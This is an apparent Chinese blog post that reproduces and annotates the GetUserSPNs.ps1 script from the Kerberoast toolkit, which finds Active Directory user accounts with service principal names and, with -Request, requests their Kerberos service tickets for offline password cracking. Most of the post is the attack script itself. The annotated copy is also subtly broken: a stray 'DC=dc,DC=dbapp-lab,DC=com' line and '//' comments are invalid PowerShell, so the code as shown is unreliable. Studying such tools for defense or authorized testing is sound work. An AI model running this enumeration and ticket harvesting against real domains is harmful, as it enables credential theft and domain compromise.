Kerberoast 工具集--查找域下的SPN--GetUserSPNs

代码如下所示
# Edits by Tim Medin
# File:     GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
#           The password hash used with Computer accounts are infeasible to 
#           crack; however, if the User account associated with an SPN may have
#           a crackable password. This tool will find those accounts. You do not
#           need any special local or domain permissions to run this script. 
#           This script on a script supplied by Microsoft (details below).
# History:  2016/07/07     Tim Medin    Add -UniqueAccounts parameter to only get unique SAMAccountNames
#           2016/04/12     Tim Medin    Added -Request option to automatically get the tickets
#           2014/11/12     Tim Medin    Created

[CmdletBinding()]
Param(
  [Parameter(Mandatory=$False,Position=1)] [string]$GCName,
  [Parameter(Mandatory=$False)] [string]$Filter,
  [Parameter(Mandatory=$False)] [switch]$Request,
  [Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)

Add-Type -AssemblyName System.IdentityModel

$GCs = @()

If ($GCName) {
  $GCs += $GCName
} else { # find them
  #获取当前用户上下文的林对象。
  $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
  #在该目录林中查找给定站点的所有全局目录。 
  $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
  ForEach ($GC in $CurrentGCs) {
    #$GCs += $GC.Name
    DC=dc,DC=dbapp-lab,DC=com
    $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
  }
}

if (-not $GCs) {
  # no Global Catalogs Found
  Write-Host "No Global Catalogs Found!"
  Exit
}

<#
Things you can extract
Name                           Value
----                           -----
admincount                     {1}
samaccountname                 {sqlengine}
useraccountcontrol             {66048}
primarygroupid                 {513}
userprincipalname              {sqlengine@medin.local}
instancetype                   {4}
displayname                    {sqlengine}
pwdlastset                     {130410454241766739}
memberof                       {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype                 {805306368}
serviceprincipalname           {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged                     {135252}
lastlogon                      {130563243107145358}
accountexpires                 {9223372036854775807}
logoncount                     {34}
adspath                        {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname              {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount                    {0}
codepage                       {0}
name                           {sqlengine}
whenchanged                    {9/22/2014 6:45:21 AM}
badpasswordtime                {0}
dscorepropagationdata          {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp             {130558419213902030}
lastlogoff                     {0}
objectclass                    {top, person, organizationalPerson, user}
countrycode                    {0}
cn                             {sqlengine}
whencreated                    {4/4/2014 12:37:04 AM}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid                     {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated                     {57551}
#>

ForEach ($GC in $GCs) {
    //对Active Directory域服务执行查询
    $searcher = New-Object System.DirectoryServices.DirectorySearcher
    //创建DirectorySearcher的实例时,可以指定要检索的根目录
    //LDAP://DC=dc,DC=dbapp-lab,DC=com 
    $searcher.SearchRoot = "LDAP://" + $GC
    //执行分页搜索。设置PageSize属性以指定在页面搜索中返回的最大对象数。如果您不想执行分页搜索,请将PageSize属性设置为其默认值零。
    $searcher.PageSize = 1000
    //获取或设置一个值,该值指示轻型目录访问协议(LDAP)格式过滤器字符串
    //LDAP格式的搜索过滤器字符串,例如“((objectClass = user)”)。默认值为“(objectClass = *)”,它将检索所有对象
    //复合表达式由前缀运算符&和|组成。一个示例是“(&(objectClass = user)(lastName = Davis))
    $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
    //获取一个值,该值指示在搜索期间要检索的属性列表,其中包含要在搜索过程中检索的属性集,服务主体名称的值就是ServicePrincipalName属性的值。
    $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
    $searcher.PropertiesToLoad.Add("name") | Out-Null
    $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
    #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
    #$searcher.PropertiesToLoad.Add("displayname") | Out-Null
    $searcher.PropertiesToLoad.Add("memberof") | Out-Null
    $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
    #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
    //获取或设置一个值,该值指示服务器所观察到的搜索范围。
    $searcher.SearchScope = "Subtree"
    //执行搜索并返回找到的项的集合。
    $results = $searcher.FindAll()
    
    [System.Collections.ArrayList]$accounts = @()
        
    foreach ($result in $results) {
        foreach ($spn in $result.Properties["serviceprincipalname"]) {
             #指定$result为输入的内容,-Property指定需要输出的属性设置
            $o = Select-Object -InputObject $result -Property `
                @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
                @{Name="Name";                 Expression={$result.Properties["name"][0].ToString()} }, `
                #@{Name="UserPrincipalName";   Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
                @{Name="SAMAccountName";       Expression={$result.Properties["samaccountname"][0].ToString()} }, `
                #@{Name="DisplayName";         Expression={$result.Properties["displayname"][0].ToString()} }, `
                @{Name="MemberOf";             Expression={$result.Properties["memberof"][0].ToString()} }, `
                @{Name="PasswordLastSet";      Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
                #@{Name="DistinguishedName";   Expression={$result.Properties["distinguishedname"][0].ToString()} }
            //Add -UniqueAccounts parameter to only get unique SAMAccountNames
            if ($UniqueAccounts) {
                if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
                    $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
                    $o
                    //Added -Request option to automatically get the tickets   
                    if ($Request) {
                        //使用与指定的服务主体名称关联的服务来初始化 KerberosRequestorSecurityToken 类的新实例,该KerberosRequestorSecurityToken安全令牌是由使用该客户端使用KerberosRequestorSecurityToken安全令牌在传出SOAP消息,该令牌基于SOAP请求中发送的Kerberos票证,根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据
                        New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
                    }
                }
            } else {
                $o
                if ($Request) {
                    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
                }
            }
        }
    }
}

获取当前用户上下文的林对象
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
在这里插入图片描述
在该目录林中查找给定站点的所有全局目录
$ForestInfo.FindAllGlobalCatalogs()

在这里插入图片描述
在这里插入图片描述
获取林中所有应用程序分区的集合当中的第一个成员的安全域
$ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain

在这里插入图片描述
下面就是默认设置的检索的内容,下面显示的就是我们
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值